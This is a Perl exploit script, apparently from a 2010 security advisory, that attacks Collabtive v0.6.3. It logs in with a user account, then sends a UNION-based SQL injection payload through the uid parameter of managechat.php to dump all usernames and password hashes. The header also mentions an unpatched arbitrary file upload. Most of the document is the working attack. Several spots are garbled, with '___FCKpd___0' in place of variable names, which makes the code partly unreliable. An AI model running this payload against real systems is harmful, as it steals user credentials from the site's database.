#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Cookies;
use Getopt::Long;

#                           \#'#/
#                           (-.-)
#    ------------------oOO---(_)---OOo-----------------
#    |          __             __                     |
#    |    _____/ /_____ ______/ /_  __  ______ ______ |
#    |   / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
#    |  (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )  |
#    | /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/   |
#    | Security Research Division      /____/ 2o1o    |
#    --------------------------------------------------
#    |   Collabtive v0.6.3 Multiple Vulnerabilities   |
#    --------------------------------------------------
# [!] Discovered by.: DNX
# [!] Homepage......: http://starbugs.host.sk
# [!] Vendor........: http://collabtive.o-dyn.de
# [!] Detected......: 04.06.2010
# [!] Reported......: 05.06.2010
# [!] Response......: xx.xx.2010
#
# [!] Background....: Collabtive ist eine web-basierte Projektmanagementsoftware.
#                     Das Projekt startete im November 2007. Es ist eine
#                     Open-Source-Software und stellt eine Alternative zu proprietären
#                     Werkzeugen wie Basecamp dar. Collabtive ist in PHP geschrieben.
#
#                     Collabtive wird von einem professionellen Team entwickelt.
#
# [!] Requirements..: Account needed
#
# [!] Bug...........: 
___FCKpd___0
GET['uid'] in managechat.php near line 64
#
#                     12: $userto_id = getArrayVal(
___FCKpd___0
GET, "uid");
#
#                     64: $sel = mysql_query("SELECT * FROM chat WHERE ufrom_id IN($userid,$userto_id) AND userto_id IN($userid,$userto_id) AND time > $start ORDER by time ASC");
#
#                     The password is encoded with sha1.
#
# [!] Bug...........: The arbitrary file upload discovered by USH is still present.
#                     See http://www.milw0rm.com/exploits/7076 more details.
#

if(!$ARGV[5])
{
  print "\n                       \\#'#/                   ";
  print "\n                       (-.-)                    ";
  print "\n   ---------------oOO---(_)---OOo---------------";
  print "\n   |  Collabtive v0.6.3 SQL Injection Exploit  |";
  print "\n   |               coded by DNX                |";
  print "\n   ---------------------------------------------";
  print "\n[!] Usage: perl collabtive.pl [Host] [Path] <Options>";
  print "\n[!] Example: perl collabtive.pl 127.0.0.1 /collabtive/ -user test -pass 12345";
  print "\n[!] Options:";
  print "\n       -user [text]    Username";
  print "\n       -pass [text]    Password";
  print "\n       -p [ip:port]    Proxy support";
  print "\n";
  exit;
}

my %options = ();
GetOptions(\%options, "user=s", "pass=s", "p=s");
my $ua      = LWP::UserAgent->new();
my $cookie  = HTTP::Cookies->new();
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $target  = "http://".$host.$path;
my $user    = "";
my $pass    = "";

if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); }
if($options{"user"}) { $user = $options{"user"}; }
if($options{"pass"}) { $pass = $options{"pass"}; }

print "[!] Exploiting...\n\n";

exploit();

print "\n[!] Done\n";

sub exploit
{
  ##############
  # make login #
  ##############
  
  my $url = $target."manageuser.php?action=login";
  my $res = $ua->post($url, [username => $user, pass => $pass]);
  $cookie->extract_cookies($res);
  $ua->cookie_jar($cookie);
  
  ############################
  # get users with passwords #
  ############################
  
  $url = $target."managechat.php?action=pull&uid=0) union select 1,2,name,4,5,6,pass from user/*";
  $res = $ua->get($url);
  my $content = $res->content;
  
  my @c = split(/<br \/>/, $content);
  foreach (@c)
  {
    if(
___FCKpd___0
 =~ /<b>(.*?):<\/b> (.*)/)
    {
      print $1.":".$2."\n";
    }
  }
}